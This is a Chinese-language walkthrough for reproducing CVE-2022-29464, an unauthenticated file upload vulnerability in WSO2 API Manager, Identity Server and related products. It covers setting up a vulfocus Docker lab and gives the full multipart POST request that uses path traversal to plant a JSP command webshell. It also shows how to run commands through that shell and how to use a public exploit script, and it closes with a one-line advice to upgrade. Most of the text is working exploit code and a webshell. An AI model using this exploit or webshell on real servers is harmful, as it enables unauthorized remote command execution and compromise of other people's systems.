CVE-2022-29464 WSO2文件上傳漏洞是Orange Tsai發現的WSO2上的嚴重漏洞。該漏洞允許攻擊者未授權上傳jsp webshell從而在WSO2服務器上執行任意命令。
-
WSO2 API Manager 2.2.0—4.0.0
-
WSO2 Identity Server 5.2.0—5.11.0
-
WSO2 身份服務器5.4.0、5.4.1、5.5.0 和 5.6.0
-
WSO2 Enterprise Integrator 6.2.0—6.6.0
-
WSO2 身份服務器密鑰管理器 5.3.0—5.10.0
可從vulfocus中拉取docker漏洞鏡像,如圖所示,執行命令
docker pull vulfocus/wso2-cve_2022_29464
拉取漏洞鏡像
漏洞鏡像拉取完成后,如圖所示,執行命令
docker run -d -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name cve_2022_29464 vulfocus/wso2-cve_2022_29464
運行漏洞docker環境
漏洞環境啟動完成后,訪問
https://ip:9443
出現以下頁面代表漏洞環境搭建成功
如圖所示,構造如下數據包即可未授權在目標服務器上寫入cmd webshell
POST /fileupload/toolsAny HTTP/1.1
Host: 192.168.159.130:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=4af6f362a86baadf5ec3177278d4911
Cookie: session=0cb2ce62-1f82-4c51-8735-229398731d4f.XC9bRwlYo7x31-PjcBFWrJnuG_w; JSESSIONID=C7832D63E80798858C15459A4267966E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Content-Length: 805
--4af6f362a86baadf5ec3177278d4911
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4af6f362a86baadf5ec3177278d4911--
訪問
https://192.168.159.130:9443/authenticationendpoint/cmd.jsp?cmd=whoami
構造參數cmd和參數值whoami,即可獲得WSO2服務器whoami命令執行結果
也可通過漏洞EXP
https://github.com/hakivvi/CVE-2022-29464
利用漏洞
如圖所示,將EXP下載后,執行
python exploit.py https://ip:9443/ shell.jsp
即可上傳jsp cmdshell至WSO2服務器
訪問
https://ip:9443//authenticationendpoint/shell.jsp
即可通過jsp cmdshell執行任意命令
將存在漏洞的WSO2應用版本升級至安全版本。